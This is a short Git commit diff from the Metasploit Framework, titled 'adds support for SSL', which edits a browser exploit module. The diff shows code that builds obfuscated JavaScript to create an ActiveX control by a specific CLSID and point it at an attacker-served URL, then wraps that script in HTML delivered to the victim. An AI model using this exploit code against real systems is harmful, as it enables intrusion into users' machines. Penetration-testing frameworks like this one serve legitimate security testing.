adds support for SSL
git-svn-id: file:///home/svn/framework3/trunk@12872 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
31a659e55a
commit
b9e398c706
|
@ -77,14 +77,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
url = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
|
||||
url << ":#{datastore['SRVPORT']}"
|
||||
url = get_uri(cli)
|
||||
|
||||
dir = rand_text_alpha((rand(40) + 1))
|
||||
js = ::Rex::Exploitation::JSObfu.new %Q|
|
||||
var x = document.createElement("object");
|
||||
x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
|
||||
x.url = "http://#{url}/#{dir}/";
|
||||
x.url = "#{url}/#{dir}/";
|
||||
|
|
||||
js.obfuscate
|
||||
html = "<html>\n\t<script>#{js}\t</script>\n</html>"
|
||||
|
|
Loading…
Reference in New Issue